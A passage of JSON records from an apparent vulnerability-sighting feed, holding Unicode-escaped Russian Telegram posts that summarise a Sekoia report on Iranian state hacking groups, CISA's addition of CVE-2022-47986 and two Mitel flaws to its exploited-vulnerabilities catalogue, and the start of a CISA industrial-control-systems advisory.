\u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e, \u0418\u0440\u0430\u043d \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u041a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0441\u0442\u0440\u0430\u0436\u0435\u0439 \u0438\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u0438 (\u041a\u0421\u0418\u0420) \u0438 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (MOIS).\n\n\u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u0421\u0418\u0420, \u2014 APT35, APT42, Nemesis Kitten \u0438 Cotton Sandstorm (ex-NEPTUNIUM) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0446\u0435\u043b\u044f\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u043c\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043d\u0430\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430 \u0438 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044f \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u0441\u0430\u0431\u043e\u0442\u0430\u0436, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438, \u0432 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438.\n\n\u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0418\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438 \u0418\u0440\u0430\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0438 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u043d\u044b\u043c \u0438 \u043c\u0435\u043d\u0435\u0435 \u0438\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0447\u0435\u043c \u041a\u0421\u0418\u0420. \n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u2014 MuddyWater, Oilrig (\u043e\u043d\u0430 \u0436\u0435 APT34), Hexane, Agrius \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f DarkBit (\u043e\u043d\u0430 \u0436\u0435 DEV-1084) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0430, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0440\u0441\u043a\u043e\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e-\u0434\u0438\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u0446\u0435\u043b\u044f\u0445 \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \n\n\u0426\u0435\u043b\u0438 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \n\n- \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u044b\u0445 \u0443 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u043e\u043f\u0435\u0440\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0418\u0437\u0440\u0430\u0438\u043b\u044c, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u0440\u0430\u0432\u0438\u044f \u0438 \u0441\u0442\u0440\u0430\u043d\u044b \u041f\u0435\u0440\u0441\u0438\u0434\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043b\u0438\u0432\u0430;\n\n- \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0437\u0432\u0438\u0442 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b.\n\n- \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Saudi Aramco, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0410\u043b\u0431\u0430\u043d\u0438\u0438, \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u00ab\u0422\u0435\u0445\u043d\u0438\u043e\u043d\u00bb);\n\n-  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438) \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f;\n\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438, (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043d\u0430\u043d\u044f\u0442\u044b\u043c\u0438 \u041a\u0421\u0418\u0420) \u2013 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0438 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Log4J, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0421\u0428\u0410. \n\n\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0418\u0440\u0430\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 2023 \u0433\u043e\u0434\u0443 APT35 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-47966 \u0438 CVE-2022-47986, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e \u043f\u044f\u0442\u0438 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438. \n\nSekoia \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0418\u0440\u0430\u043d\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442 \u0440\u0430\u0441\u0442\u0438 \u043f\u043e \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u0418\u0437\u0440\u0430\u0438\u043b\u0435\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u043b\u044c\u0442\u0440\u0430\u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u043e\u0440\u043e\u0432 \u043a \u0432\u043b\u0430\u0441\u0442\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://blog.sekoia.io/iran-cyber-threat-overview/ \n\n#\u0418\u0440\u0430\u043d #\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438", "creation_timestamp": "2026-07-27T00:01:00.539639Z"}, {"uuid": "cb7dbe0f-6961-4dbe-97dc-a16b11dc0417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/EchelonEyes/1221", "content": "CISA \u043f\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0442\u0440\u0435\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0442\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2022-47986 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 YAML \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 IBM Aspera Faspex. \n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,  CVE-2022-41223 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8) \u0438 CVE-2022-40765 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8),  \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 Mitel MiVoice Connect \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Mitel \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043a\u0430\u0441\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2022-26377 \u0438 CVE-2022-31813) \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 MELSOFT iQ AppPortal \u043e\u0442 Mitsubishi Electric.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-adds-three-known-exploited-vulnerabilities-catalog \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-releases-two-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #CISA", "creation_timestamp": "2026-07-27T00:01:06.803816Z"}, {"uuid": "7d6f8ec3-6020-4897-a75e-4f0ab2bfc194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47911", "type": "seen", "source": "https://t.me/EchelonEyes/1082", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Sewio, InHand Networks, Sauter Controls \u0438 Siemens.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 RTLS Studio Sewio \u2013 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u0439. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2022-45444 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 10,0), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0436\u0435\u0441\u0442\u043a\u043e 